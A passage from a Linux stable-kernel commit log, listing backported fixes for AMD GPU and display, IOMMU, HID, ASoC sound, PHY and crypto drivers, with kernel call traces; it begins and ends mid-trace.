[14616.937207] drm_close_helper.isra.0+0x62/0x70 [drm] [14616.937220] drm_release+0x5e/0x100 [drm] [14616.937234] __fput+0x9f/0x280 [14616.937239] ____fput+0xe/0x20 [14616.937241] task_work_run+0x61/0x90 [14616.937246] exit_to_user_mode_prepare+0x215/0x220 [14616.937251] syscall_exit_to_user_mode+0x2a/0x60 [14616.937254] do_syscall_64+0x48/0x90 [14616.937257] entry_SYSCALL_64_after_hwframe+0x63/0xcd Signed-off-by: Lang Yu Acked-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 8fd4d6d3619a44ec5ab50d6eb58037ff694a7ebb Author: Alvin Lee Date: Thu May 11 15:25:01 2023 -0400 drm/amd/display: Apply 60us prefetch for DCFCLK <= 300Mhz [ Upstream commit 7e60ab4eb3e4ba2adac46d737fdbbc5732bebd58 ] [Description] - Previously we wanted to apply extra 60us of prefetch for min DCFCLK (200Mhz), but DCFCLK can be calculated to be 201Mhz which underflows also without the extra prefetch - Instead, apply the the extra 60us prefetch for any DCFCLK freq <= 300Mhz Reviewed-by: Nevenko Stupar Reviewed-by: Jun Lei Acked-by: Tom Chung Signed-off-by: Alvin Lee Tested-by: Daniel Wheeler Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit dcfd5a3ecf91da0afc00ffa2ee0d20d65c45cfa5 Author: Daniel Miess Date: Tue Apr 25 14:02:02 2023 -0400 drm/amd/display: Remove v_startup workaround for dcn3+ [ Upstream commit 3a31e8b89b7240d9a17ace8a1ed050bdcb560f9e ] [Why] Calls to dcn20_adjust_freesync_v_startup are no longer needed as of dcn3+ and can cause underflow in some cases [How] Move calls to dcn20_adjust_freesync_v_startup up into validate_bandwidth for dcn2.x Reviewed-by: Jun Lei Acked-by: Aurabindo Pillai Signed-off-by: Daniel Miess Tested-by: Daniel Wheeler Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit aa9e9ba5748c524eb0925a2ef6984b78793646d6 Author: Lang Yu Date: Fri May 5 20:14:15 2023 +0800 drm/amdgpu: install stub fence into potential unused fence pointers [ Upstream commit 187916e6ed9d0c3b3abc27429f7a5f8c936bd1f0 ] When using cpu to update page tables, vm update fences are unused. Install stub fence into these fence pointers instead of NULL to avoid NULL dereference when calling dma_fence_wait() on them. Suggested-by: Christian König Signed-off-by: Lang Yu Reviewed-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit f03bcd68082fe30b02755121214d8eb00d575a81 Author: Suravee Suthikulpanit Date: Tue May 30 10:11:35 2023 -0400 iommu/amd: Introduce Disable IRTE Caching Support [ Upstream commit 66419036f68a838c00cbccacd6cb2e99da6e5710 ] An Interrupt Remapping Table (IRT) stores interrupt remapping configuration for each device. In a normal operation, the AMD IOMMU caches the table to optimize subsequent data accesses. This requires the IOMMU driver to invalidate IRT whenever it updates the table. The invalidation process includes issuing an INVALIDATE_INTERRUPT_TABLE command following by a COMPLETION_WAIT command. However, there are cases in which the IRT is updated at a high rate. For example, for IOMMU AVIC, the IRTE[IsRun] bit is updated on every vcpu scheduling (i.e. amd_iommu_update_ga()). On system with large amount of vcpus and VFIO PCI pass-through devices, the invalidation process could potentially become a performance bottleneck. Introducing a new kernel boot option: amd_iommu=irtcachedis which disables IRTE caching by setting the IRTCachedis bit in each IOMMU Control register, and bypass the IRT invalidation process. Reviewed-by: Jerry Snitselaar Co-developed-by: Alejandro Jimenez Signed-off-by: Alejandro Jimenez Signed-off-by: Suravee Suthikulpanit Link: https://lore.kernel.org/r/20230530141137.14376-4-suravee.suthikulpanit@amd.com Signed-off-by: Joerg Roedel Signed-off-by: Sasha Levin commit 45c5f38073efd33d133e4d50685f00f1f41f775f Author: stuarthayhurst Date: Tue May 30 15:44:28 2023 +0100 HID: logitech-hidpp: Add USB and Bluetooth IDs for the Logitech G915 TKL Keyboard [ Upstream commit 48aea8b445c422a372cf15915101035a47105421 ] Adds the USB and Bluetooth IDs for the Logitech G915 TKL keyboard, for device detection For this device, this provides battery reporting on top of hid-generic Reviewed-by: Bastien Nocera Signed-off-by: Stuart Hayhurst Signed-off-by: Jiri Kosina Signed-off-by: Sasha Levin commit cfe5e5d87e93cc14887c2feb8e37e16b4f2a0678 Author: Fei Shao Date: Wed May 24 11:42:37 2023 +0800 HID: i2c-hid: goodix: Add support for "goodix,no-reset-during-suspend" property [ Upstream commit 7607f12ba735f04e0ef8718dabadf3a765c9a477 ] In the beginning, commit 18eeef46d359 ("HID: i2c-hid: goodix: Tie the reset line to true state of the regulator") introduced a change to tie the reset line of the Goodix touchscreen to the state of the regulator to fix a power leakage issue in suspend. After some time, the change was deemed unnecessary and was reverted in commit 557e05fa9fdd ("HID: i2c-hid: goodix: Stop tying the reset line to the regulator") due to difficulties in managing regulator notifiers for designs like Evoker, which provides a second power rail to touchscreen. However, the revert caused a power regression on another Chromebook device Steelix in the field, which has a dedicated always-on regulator for touchscreen and was covered by the workaround in the first commit. To address both cases, this patch adds the support for the new "goodix,no-reset-during-suspend" property in the driver: - When set to true, the driver does not assert the reset GPIO during power-down. Instead, the GPIO will be asserted during power-up to ensure the touchscreen always has a clean start and consistent behavior after resuming. This is for designs with a dedicated always-on regulator. - When set to false or unset, the driver uses the original control flow and asserts GPIO and disables regulators normally. This is for the two-regulator and shared-regulator designs. Signed-off-by: Fei Shao Suggested-by: Douglas Anderson Reviewed-by: Douglas Anderson Reviewed-by: Jeff LaBundy Signed-off-by: Jiri Kosina Signed-off-by: Sasha Levin commit b5f4d1915090e8754bc1096ba1fe67b13201a8d5 Author: Fei Shao Date: Wed May 24 11:42:36 2023 +0800 dt-bindings: input: goodix: Add "goodix,no-reset-during-suspend" property [ Upstream commit 359ed24a0dd3802e703ec8071dc3b6ed446de5f0 ] We observed that on Chromebook device Steelix, if Goodix GT7375P touchscreen is powered in suspend (because, for example, it connects to an always-on regulator) and with the reset GPIO asserted, it will introduce about 14mW power leakage. To address that, we add this property to skip reset during suspend. If it's set, the driver will stop asserting the reset GPIO during power-down. Refer to the comments in the driver for details. Signed-off-by: Fei Shao Suggested-by: Jeff LaBundy Reviewed-by: Douglas Anderson Reviewed-by: Matthias Brugger Reviewed-by: Jeff LaBundy Acked-by: Rob Herring Signed-off-by: Jiri Kosina Signed-off-by: Sasha Levin commit 973e0890e5264cb075ef668661cad06b67777121 Author: Moti Haimovski Date: Sun Apr 16 18:36:17 2023 +0300 accel/habanalabs: fix mem leak in capture user mappings [ Upstream commit 314a7ffd7c196b27eedd50cb7553029e17789b55 ] This commit fixes a memory leak caused when clearing the user_mappings info when a new context is opened immediately after user_mapping is captured and a hard reset is performed. Signed-off-by: Moti Haimovski Reviewed-by: Dani Liberman Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay Signed-off-by: Sasha Levin commit 7f59afa93ffcfd1a73b3108fba3bc30b456fb67f Author: Ofir Bitton Date: Tue Apr 18 14:48:22 2023 +0300 accel/habanalabs: add pci health check during heartbeat [ Upstream commit d8b9cea584661b30305cf341bf9f675dc0a25471 ] Currently upon a heartbeat failure, we don't know if the failure is due to firmware hang or due to a bad PCI link. Hence, we are reading a PCI config space register with a known value (vendor ID) so we will know which of the two possibilities caused the heartbeat failure. Signed-off-by: Ofir Bitton Reviewed-by: Oded Gabbay Signed-off-by: Oded Gabbay Signed-off-by: Sasha Levin commit 4503b78fe6cdf029517e849c679fd31981c94140 Author: gaoxu Date: Tue Jun 6 12:47:37 2023 +0000 dma-remap: use kvmalloc_array/kvfree for larger dma memory remap [ Upstream commit 51ff97d54f02b4444dfc42e380ac4c058e12d5dd ] If dma_direct_alloc() alloc memory in size of 64MB, the inner function dma_common_contiguous_remap() will allocate 128KB memory by invoking the function kmalloc_array(). and the kmalloc_array seems to fail to try to allocate 128KB mem. Call trace: [14977.928623] qcrosvm: page allocation failure: order:5, mode:0x40cc0 [14977.928638] dump_backtrace.cfi_jt+0x0/0x8 [14977.928647] dump_stack_lvl+0x80/0xb8 [14977.928652] warn_alloc+0x164/0x200 [14977.928657] __alloc_pages_slowpath+0x9f0/0xb4c [14977.928660] __alloc_pages+0x21c/0x39c [14977.928662] kmalloc_order+0x48/0x108 [14977.928666] kmalloc_order_trace+0x34/0x154 [14977.928668] __kmalloc+0x548/0x7e4 [14977.928673] dma_direct_alloc+0x11c/0x4f8 [14977.928678] dma_alloc_attrs+0xf4/0x138 [14977.928680] gh_vm_ioctl_set_fw_name+0x3c4/0x610 [gunyah] [14977.928698] gh_vm_ioctl+0x90/0x14c [gunyah] [14977.928705] __arm64_sys_ioctl+0x184/0x210 work around by doing kvmalloc_array instead. Signed-off-by: Gao Xu Reviewed-by: Suren Baghdasaryan Signed-off-by: Christoph Hellwig Signed-off-by: Sasha Levin commit aa09a767b3aee9aed3813b3626fc5d7770229c70 Author: Pierre-Louis Bossart Date: Tue Jun 6 17:25:28 2023 -0500 ASoC: SOF: Intel: fix SoundWire/HDaudio mutual exclusion [ Upstream commit f751b99255cacd9ffe8c4bbf99767ad670cee1f7 ] The functionality described in Commit 61bef9e68dca ("ASoC: SOF: Intel: hda: enforce exclusion between HDaudio and SoundWire") does not seem to be properly implemented with two issues that need to be corrected. a) The test used is incorrect when DisplayAudio codecs are not supported. b) Conversely when only Display Audio codecs can be found, we do want to start the SoundWire links, if any. That will help add the relevant topologies and machine descriptors, and identify cases where the SoundWire information in ACPI needs to be modified with a quirk. Signed-off-by: Pierre-Louis Bossart Reviewed-by: Bard Liao Reviewed-by: Ranjani Sridharan Link: https://lore.kernel.org/r/20230606222529.57156-2-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 848149e899c3c1d4f9542cceefafd64a280e0e40 Author: Geert Uytterhoeven Date: Fri Jun 2 10:50:36 2023 +0200 iopoll: Call cpu_relax() in busy loops [ Upstream commit b407460ee99033503993ac7437d593451fcdfe44 ] It is considered good practice to call cpu_relax() in busy loops, see Documentation/process/volatile-considered-harmful.rst. This can not only lower CPU power consumption or yield to a hyperthreaded twin processor, but also allows an architecture to mitigate hardware issues (e.g. ARM Erratum 754327 for Cortex-A9 prior to r2p0) in the architecture-specific cpu_relax() implementation. In addition, cpu_relax() is also a compiler barrier. It is not immediately obvious that the @op argument "function" will result in an actual function call (e.g. in case of inlining). Where a function call is a C sequence point, this is lost on inlining. Therefore, with agressive enough optimization it might be possible for the compiler to hoist the: (val) = op(args); "load" out of the loop because it doesn't see the value changing. The addition of cpu_relax() would inhibit this. As the iopoll helpers lack calls to cpu_relax(), people are sometimes reluctant to use them, and may fall back to open-coded polling loops (including cpu_relax() calls) instead. Fix this by adding calls to cpu_relax() to the iopoll helpers: - For the non-atomic case, it is sufficient to call cpu_relax() in case of a zero sleep-between-reads value, as a call to usleep_range() is a safe barrier otherwise. However, it doesn't hurt to add the call regardless, for simplicity, and for similarity with the atomic case below. - For the atomic case, cpu_relax() must be called regardless of the sleep-between-reads value, as there is no guarantee all architecture-specific implementations of udelay() handle this. Signed-off-by: Geert Uytterhoeven Acked-by: Peter Zijlstra (Intel) Acked-by: Arnd Bergmann Reviewed-by: Tony Lindgren Reviewed-by: Ulf Hansson Link: https://lore.kernel.org/r/45c87bec3397fdd704376807f0eec5cc71be440f.1685692810.git.geert+renesas@glider.be Signed-off-by: Sasha Levin commit b1079090c9c280e17a685a70c9a5b9f1303bd115 Author: Uday M Bhat Date: Fri Jun 2 15:22:24 2023 -0500 ASoC: Intel: sof_sdw: Add support for Rex soundwire [ Upstream commit 164e5dc17525181c05563f0a06796f1a363801d5 ] Add rex entry in the soundwire quirk table Reviewed-by: Ranjani Sridharan Signed-off-by: Bard Liao Signed-off-by: Yong Zhi Signed-off-by: Uday M Bhat Signed-off-by: Pierre-Louis Bossart Link: https://lore.kernel.org/r/20230602202225.249209-28-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 09c98d0de7482c38403d5d414d837232ec83ab97 Author: Pierre-Louis Bossart Date: Fri Jun 2 15:22:13 2023 -0500 ASoC: Intel: sof_sdw: add quick for Dell SKU 0BDA [ Upstream commit 3daf02819ac3fd8d7605804a00213cf123ac880d ] The SKU numbering isn't quite consistent with the existing RaptorLake SKUs but the PCI ID is definitively RaptorLake. Closes: https://github.com/thesofproject/linux/issues/4380 Reviewed-by: Bard Liao Reviewed-by: Ranjani Sridharan Signed-off-by: Pierre-Louis Bossart Link: https://lore.kernel.org/r/20230602202225.249209-17-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 6fc290c768fc5bde65765827010cf58898f09751 Author: Bard Liao Date: Fri Jun 2 15:22:04 2023 -0500 ASoC: Intel: sof_sdw_rt_sdca_jack_common: test SOF_JACK_JDSRC in _exit [ Upstream commit 526a1876fc48e2d0c0ea8ad63b58bdb2cc13047f ] if (!SOF_RT711_JDSRC(sof_sdw_quirk)) is tested in rt711_sdca_add_codec_ device_props(), and we don't add software node to the device if jack source is not set. We need to do the same test in sof_sdw_rt711_sdca_exit(), and avoid removing software node if jack source is not set. Signed-off-by: Bard Liao Signed-off-by: Pierre-Louis Bossart Link: https://lore.kernel.org/r/20230602202225.249209-8-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit a2394961ca968708055e0e67784fa98f987528e2 Author: Oleksij Rempel Date: Tue May 30 14:03:44 2023 +0200 ARM: dts: imx6dl: prtrvt, prtvt7, prti6q, prtwd2: fix USB related warnings [ Upstream commit 1d14bd943fa2bbdfda1efbcc080b298fed5f1803 ] Fix USB-related warnings in prtrvt, prtvt7, prti6q and prtwd2 device trees by disabling unused usbphynop1 and usbphynop2 USB PHYs and providing proper configuration for the over-current detection. This fixes the following warnings with the current kernel: usb_phy_generic usbphynop1: dummy supplies not allowed for exclusive requests usb_phy_generic usbphynop2: dummy supplies not allowed for exclusive requests imx_usb 2184200.usb: No over current polarity defined By the way, fix over-current detection on usbotg port for prtvt7, prti6q and prtwd2 boards. Only prtrvt do not have OC on USB OTG port. Signed-off-by: Oleksij Rempel Signed-off-by: Shawn Guo Signed-off-by: Sasha Levin commit 9376002694e33d0611fd3d2a53a549ab76b63a41 Author: Long Li Date: Sat May 13 23:18:15 2023 -0700 RDMA/mana_ib: Use v2 version of cfg_rx_steer_req to enable RX coalescing [ Upstream commit 2145328515c8fa9b8a9f7889250bc6c032f2a0e6 ] With RX coalescing, one CQE entry can be used to indicate multiple packets on the receive queue. This saves processing time and PCI bandwidth over the CQ. The MANA Ethernet driver also uses the v2 version of the protocol. It doesn't use RX coalescing and its behavior is not changed. Link: https://lore.kernel.org/r/1684045095-31228-1-git-send-email-longli@linuxonhyperv.com Signed-off-by: Long Li Signed-off-by: Jason Gunthorpe Signed-off-by: Sasha Levin commit 1260703fbc8787dfe0ab708da112d58db01f52f6 Author: Venkata Prasad Potturu Date: Tue May 30 16:37:58 2023 +0530 ASoC: amd: vangogh: Add check for acp config flags in vangogh platform [ Upstream commit e89f45edb747ed88e97a5771dd6d3dd1eb517873 ] We have SOF and generic ACP support enabled for Vangogh platform on some machines. Since we have same PCI id used for probing, add check for machine configuration flag to avoid conflict with newer pci drivers. Such machine flag has been initialized via dmi match on few Vangogh based machines. If no flag is specified probe and register older platform device. Signed-off-by: Venkata Prasad Potturu Link: https://lore.kernel.org/r/20230530110802.674939-1-venkataprasad.potturu@amd.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit c212c2b01db213d8d1545d31ecefe164a5094999 Author: Wolfram Sang Date: Tue May 9 09:48:17 2023 +0200 drm: rcar-du: remove R-Car H3 ES1.* workarounds [ Upstream commit 2da4b728f994a1f9189a8066b0be90b615768764 ] R-Car H3 ES1.* was only available to an internal development group and needed a lot of quirks and workarounds. These become a maintenance burden now, so our development group decided to remove upstream support for this SoC and prevent booting it. Public users only have ES2 onwards. Signed-off-by: Wolfram Sang Reviewed-by: Kieran Bingham Reviewed-by: Laurent Pinchart Signed-off-by: Laurent Pinchart Signed-off-by: Sasha Levin commit a6e0079b14f09ec470f9021e55d4d1a4cb478335 Author: Kathiravan T Date: Fri May 26 18:23:03 2023 +0530 arm64: dts: qcom: ipq5332: add QFPROM node [ Upstream commit 2f34a2aa4c88f4882e3c5df8c9b78f8bbd3f564f ] IPQ5332 has efuse region to determine the various HW quirks. Lets add the initial support and the individual fuses will be added as they are required. Reviewed-by: Konrad Dybcio Signed-off-by: Kathiravan T Signed-off-by: Bjorn Andersson Link: https://lore.kernel.org/r/20230526125305.19626-3-quic_kathirav@quicinc.com Signed-off-by: Sasha Levin commit 04fe3b82528232aa85a6c45464906d0727ef4f20 Author: Raphael Gallais-Pou Date: Mon May 15 14:38:18 2023 +0200 drm/stm: ltdc: fix late dereference check [ Upstream commit 898a9e3f56db9860ab091d4bf41b6caa99aafc3d ] In ltdc_crtc_set_crc_source(), struct drm_crtc was dereferenced in a container_of() before the pointer check. This could cause a kernel panic. Fix this smatch warning: drivers/gpu/drm/stm/ltdc.c:1124 ltdc_crtc_set_crc_source() warn: variable dereferenced before check 'crtc' (see line 1119) Reported-by: kernel test robot Closes: https://lore.kernel.org/lkml/202212241802.zeLFZCXB-lkp@intel.com/ Reported-by: Dan Carpenter Closes: https://lore.kernel.org/lkml/202212241802.zeLFZCXB-lkp@intel.com/ Signed-off-by: Raphael Gallais-Pou Acked-by: Philippe Cornu Signed-off-by: Philippe Cornu Link: https://patchwork.freedesktop.org/patch/msgid/20230515123818.93971-1-raphael.gallais-pou@foss.st.com Signed-off-by: Sasha Levin commit 7235fb8db5e761fce3140c3c682adaecaeb6de7c Author: Venkata Prasad Potturu Date: Tue May 23 12:50:01 2023 +0530 ASoC: SOF: amd: Add pci revision id check [ Upstream commit 1d4a84632b90d88316986b05bcdfe715399a33db ] Add pci revision id check for renoir and rembrandt platforms. Signed-off-by: Venkata Prasad Potturu Link: https://lore.kernel.org/r/20230523072009.2379198-1-venkataprasad.potturu@amd.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit a740b0c82f16f1eeb54d295691ae715fd8e1e5ff Author: Simon Trimmer Date: Thu May 18 16:02:48 2023 +0100 ASoC: cs35l56: Move DSP part string generation so that it is done only once [ Upstream commit 608f1b0dbddec6b2fd766c10bcce2b651995e936 ] Each time we go through dsp_work() it does a devm_kasprintf() to allocate memory to hold the part name string. It's not strictly a memory leak because devm will free it all if the driver is removed. But we keep allocating more and more memory to hold the same string. Move the allocation so that it is performed after the version and secured state information is gathered and handle allocation errors. Signed-off-by: Simon Trimmer Signed-off-by: Richard Fitzgerald Link: https://lore.kernel.org/r/Message-Id: <20230518150250.1121006-2-rf@opensource.cirrus.com> Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit de8d025da18e45c4cb1fbfd97129a90100dfc5c3 Author: Sumit Gupta Date: Thu May 11 23:02:09 2023 +0530 PCI: tegra194: Fix possible array out of bounds access [ Upstream commit 205b3d02d57ce6dce96f6d2b9c230f56a9bf9817 ] Add check to fix the possible array out of bounds violation by making speed equal to GEN1_CORE_CLK_FREQ when its value is more than the size of "pcie_gen_freq" array. This array has size of four but possible speed (CLS) values are from "0 to 0xF". So, "speed - 1" values are "-1 to 0xE". Suggested-by: Bjorn Helgaas Signed-off-by: Sumit Gupta Link: https://lore.kernel.org/lkml/72b9168b-d4d6-4312-32ea-69358df2f2d0@nvidia.com/ Acked-by: Lorenzo Pieralisi Signed-off-by: Thierry Reding Signed-off-by: Sasha Levin commit 2bb7ffec12b6ceb325caccee404412aeb8e9d42a Author: Peter Ujfalusi Date: Fri May 12 12:33:05 2023 -0500 ASoC: Intel: sof_sdw: add quirk for LNL RVP [ Upstream commit dfe25fea968dc4884e12d471c8263f0f611b380a ] We should use RT711_JD2_100K for on board rt711 Signed-off-by: Peter Ujfalusi Signed-off-by: Pierre-Louis Bossart Reviewed-by: Bard Liao Link: https://lore.kernel.org/r/20230512173305.65399-9-pierre-louis.bossart@linux.intel.com Signed-off-by: Mark Brown Signed-off-by: Sasha Levin commit 0755560e39ad34067bf451a3e285ff0a34452978 Author: Bard Liao Date: Fri May 12 12:33:00 2023 -0500 ASoC: Intel: sof_sdw: add quirk for MTL RVP [ Upstream commit 289e1df00e49a229a1c924c059242e759a552f01 ] We should use RT711_JD2_100K for on board rt711. Signed-off-by: Bard Liao commit f15682b9d366c74b6923cfe5028bb8b31919ea14 Author: Aurabindo Pillai Date: Tue Mar 21 10:25:04 2023 -0400 Revert "drm/amd/display: disable SubVP + DRR to prevent underflow" [ Upstream commit f38129bb081758176dd78304faaee95007fb8838 ] This reverts commit 80c6d6804f31451848a3956a70c2bcb1f07cfcb0. The orignal commit was intended as a workaround to prevent underflow and flickering when using one normal monitor and the other high refresh rate monitor (> 120Hz). This patch is being reverted in favour of a software solution to enable SubVP+DRR Signed-off-by: Aurabindo Pillai Reviewed-by: Rodrigo Siqueira Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 8d8c96efcec95736622381b2afc0fe9e317f88aa Author: Jack Xiao Date: Fri Apr 21 14:20:38 2023 +0800 drm/amdgpu: fix memory leak in mes self test [ Upstream commit 31d7c3a4fc3d312a0646990767647925d5bde540 ] The fences associated with mes queue have to be freed up during amdgpu_ring_fini. Signed-off-by: Jack Xiao Reviewed-by: Hawking Zhang Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit c3deb091398e9e469d08dd1599b6d76fd6b29df8 Author: hackyzh002 Date: Wed Apr 19 20:22:33 2023 +0800 drm/amdgpu: Fix integer overflow in amdgpu_cs_pass1 [ Upstream commit 87c2213e85bd81e4a9a4d0880c256568794ae388 ] The type of size is unsigned int, if size is 0x40000000, there will be an integer overflow, size will be zero after size *= sizeof(uint32_t), will cause uninitialized memory to be referenced later. Reviewed-by: Christian König Signed-off-by: hackyzh002 Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 756d674117f5c451f415d1c4046b927052a90c14 Author: Longlong Yao Date: Thu Apr 13 13:21:45 2023 +0800 drm/amdgpu: fix calltrace warning in amddrm_buddy_fini [ Upstream commit 01382501509871d0799bab6bd412c228486af5bf ] The following call trace is observed when removing the amdgpu driver, which is caused by that BOs allocated for psp are not freed until removing. [61811.450562] RIP: 0010:amddrm_buddy_fini.cold+0x29/0x47 [amddrm_buddy] [61811.450577] Call Trace: [61811.450577] [61811.450579] amdgpu_vram_mgr_fini+0x135/0x1c0 [amdgpu] [61811.450728] amdgpu_ttm_fini+0x207/0x290 [amdgpu] [61811.450870] amdgpu_bo_fini+0x27/0xa0 [amdgpu] [61811.451012] gmc_v9_0_sw_fini+0x4a/0x60 [amdgpu] [61811.451166] amdgpu_device_fini_sw+0x117/0x520 [amdgpu] [61811.451306] amdgpu_driver_release_kms+0x16/0x30 [amdgpu] [61811.451447] devm_drm_dev_init_release+0x4d/0x80 [drm] [61811.451466] devm_action_release+0x15/0x20 [61811.451469] release_nodes+0x40/0xb0 [61811.451471] devres_release_all+0x9b/0xd0 [61811.451473] __device_release_driver+0x1bb/0x2a0 [61811.451476] driver_detach+0xf3/0x140 [61811.451479] bus_remove_driver+0x6c/0xf0 [61811.451481] driver_unregister+0x31/0x60 [61811.451483] pci_unregister_driver+0x40/0x90 [61811.451486] amdgpu_exit+0x15/0x447 [amdgpu] For smu v13_0_2, if the GPU supports xgmi, refer to commit f5c7e7797060 ("drm/amdgpu: Adjust removal control flow for smu v13_0_2"), it will run gpu recover in AMDGPU_RESET_FOR_DEVICE_REMOVE mode when removing, which makes all devices in hive list have hw reset but no resume except the basic ip blocks, then other ip blocks will not call .hw_fini according to ip_block.status.hw. Since psp_free_shared_bufs just includes some software operations, so move it to psp_sw_fini. Reviewed-by: Guchun Chen Reviewed-by: Feifei Xu Signed-off-by: Longlong Yao Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 4bea167169502034e637a009b52b187fa3d8dec8 Author: Danilo Krummrich Date: Tue Apr 18 12:04:53 2023 +0200 drm/scheduler: set entity to NULL in drm_sched_entity_pop_job() [ Upstream commit 96c7c2f4d5bd94b15fe63448c087f01607b56f4a ] It already happend a few times that patches slipped through which implemented access to an entity through a job that was already removed from the entities queue. Since jobs and entities might have different lifecycles, this can potentially cause UAF bugs. In order to make it obvious that a jobs entity pointer shouldn't be accessed after drm_sched_entity_pop_job() was called successfully, set the jobs entity pointer to NULL once the job is removed from the entity queue. Moreover, debugging a potential NULL pointer dereference is way easier than potentially corrupted memory through a UAF. Signed-off-by: Danilo Krummrich Link: https://lore.kernel.org/r/20230418100453.4433-1-dakr@redhat.com Reviewed-by: Luben Tuikov Signed-off-by: Luben Tuikov Signed-off-by: Sasha Levin commit dd2e5d3f806b15bfb7c519f69ebcbbc8dfcc2a5f Author: Alvin Lee Date: Fri Apr 29 20:41:10 2022 -0400 drm/amd/display: Update DTBCLK for DCN32 [ Upstream commit 128c1ca0303fe764a4cde5f761e72810d9e40b6e ] [Why&How] - Implement interface to program DTBCLK DTO’s according to reference DTBCLK returned by PMFW - This is required because DTO programming requires exact DTBCLK reference freq or it could result in underflow Acked-by: Aurabindo Pillai Signed-off-by: Alvin Lee Tested-by: Daniel Wheeler Signed-off-by: Alex Deucher Signed-off-by: Sasha Levin commit 86fd1f1ec4ddd6bf9a38bc4e9633f6a4305f3826 Author: Li Yang Date: Wed Aug 2 14:13:46 2023 -0500 net: phy: at803x: fix the wol setting functions [ Upstream commit e58f30246c35c126c7571065b33bee4b3b1d2ef8 ] In commit 7beecaf7d507 ("net: phy: at803x: improve the WOL feature"), it seems not correct to use a wol_en bit in a 1588 Control Register which is only available on AR8031/AR8033(share the same phy_id) to determine if WoL is enabled. Change it back to use AT803X_INTR_ENABLE_WOL for determining the WoL status which is applicable on all chips supporting wol. Also update the at803x_set_wol() function to only update the 1588 register on chips having it. After this change, disabling wol at probe from commit d7cd5e06c9dd ("net: phy: at803x: disable WOL at probe") is no longer needed. Change it to just disable the WoL bit in 1588 register for AR8031/AR8033 to be aligned with AT803X_INTR_ENABLE_WOL in probe. Fixes: 7beecaf7d507 ("net: phy: at803x: improve the WOL feature") Signed-off-by: Li Yang Reviewed-by: Viorel Suman Reviewed-by: Wei Fang Reviewed-by: Russell King (Oracle) Signed-off-by: David S. Miller Signed-off-by: Sasha Levin commit b129b7537a568e69ab2c549770e36251f74dbe2f Author: Christophe JAILLET Date: Sat Jun 17 16:24:37 2023 +0200 net: phy: at803x: Use devm_regulator_get_enable_optional() [ Upstream commit 988e8d90b3dc482637532e61bc2d58bfc4af5167 ] Use devm_regulator_get_enable_optional() instead of hand writing it. It saves some line of code. Signed-off-by: Christophe JAILLET Reviewed-by: Andrew Lunn Signed-off-by: David S. Miller Stable-dep-of: e58f30246c35 ("net: phy: at803x: fix the wol setting functions") Signed-off-by: Sasha Levin commit 0ba71114c3af9fa44a474d16a12cecd12e3779b9 Author: David Howells Date: Wed Jul 26 11:57:56 2023 +0100 crypto, cifs: fix error handling in extract_iter_to_sg() [ Upstream commit f443fd5af5dbd531f880d3645d5dd36976cf087f ] Fix error handling in extract_iter_to_sg(). Pages need to be unpinned, not put in extract_user_to_sg() when handling IOVEC/UBUF sources. The bug may result in a warning like the following: WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 __lse_atomic_add arch/arm64/include/asm/atomic_lse.h:27 [inline] WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 arch_atomic_add arch/arm64/include/asm/atomic.h:28 [inline] WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 raw_atomic_add include/linux/atomic/atomic-arch-fallback.h:537 [inline] WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 atomic_add include/linux/atomic/atomic-instrumented.h:105 [inline] WARNING: CPU: 1 PID: 20384 at mm/gup.c:229 try_grab_page+0x108/0x160 mm/gup.c:252 ... pc : try_grab_page+0x108/0x160 mm/gup.c:229 lr : follow_page_pte+0x174/0x3e4 mm/gup.c:651 ... Call trace: __lse_atomic_add arch/arm64/include/asm/atomic_lse.h:27 [inline] arch_atomic_add arch/arm64/include/asm/atomic.h:28 [inline] raw_atomic_add include/linux/atomic/atomic-arch-fallback.h:537 [inline] atomic_add include/linux/atomic/atomic-instrumented.h:105 [inline] try_grab_page+0x108/0x160 mm/gup.c:252 follow_pmd_mask mm/gup.c:734 [inline] follow_pud_mask mm/gup.c:765 [inline] follow_p4d_mask mm/gup.c:782 [inline] follow_page_mask+0x12c/0x2e4 mm/gup.c:839 __get_user_pages+0x174/0x30c mm/gup.c:1217 __get_user_pages_locked mm/gup.c:1448 [inline] __gup_longterm_locked+0x94/0x8f4 mm/gup.c:2142 internal_get_user_pages_fast+0x970/0xb60 mm/gup.c:3140 pin_user_pages_fast+0x4c/0x60 mm/gup.c:3246 iov_iter_extract_user_pages lib/iov_iter.c:1768 [inline] iov_iter_extract_pages+0xc8/0x54c lib/iov_iter.c:1831 extract_user_to_sg lib/scatterlist.c:1123 [inline] extract_iter_to_sg lib/scatterlist.c:1349 [inline] extract_iter_to_sg+0x26c/0x6fc lib/scatterlist.c:1339 hash_sendmsg+0xc0/0x43c crypto/algif_hash.c:117 sock_sendmsg_nosec net/socket.c:725 [inline] sock_sendmsg+0x54/0x60 net/socket.c:748 ____sys_sendmsg+0x270/0x2ac net/socket.c:2494 ___sys_sendmsg+0x80/0xdc net/socket.c:2548 __sys_sendmsg+0x68/0xc4 net/socket.c:2577 __do_sys_sendmsg net/socket.c:2586 [inline] __se_sys_sendmsg net/socket.c:2584 [inline] __arm64_sys_sendmsg+0x24/0x30 net/socket.c:2584 __invoke_syscall arch/arm64/kernel/syscall.c:38 [inline] invoke_syscall+0x48/0x114 arch/arm64/kernel/syscall.c:52 el0_svc_common.constprop.0+0x44/0xe4 arch/arm64/kernel/syscall.c:142 do_el0_svc+0x38/0xa4 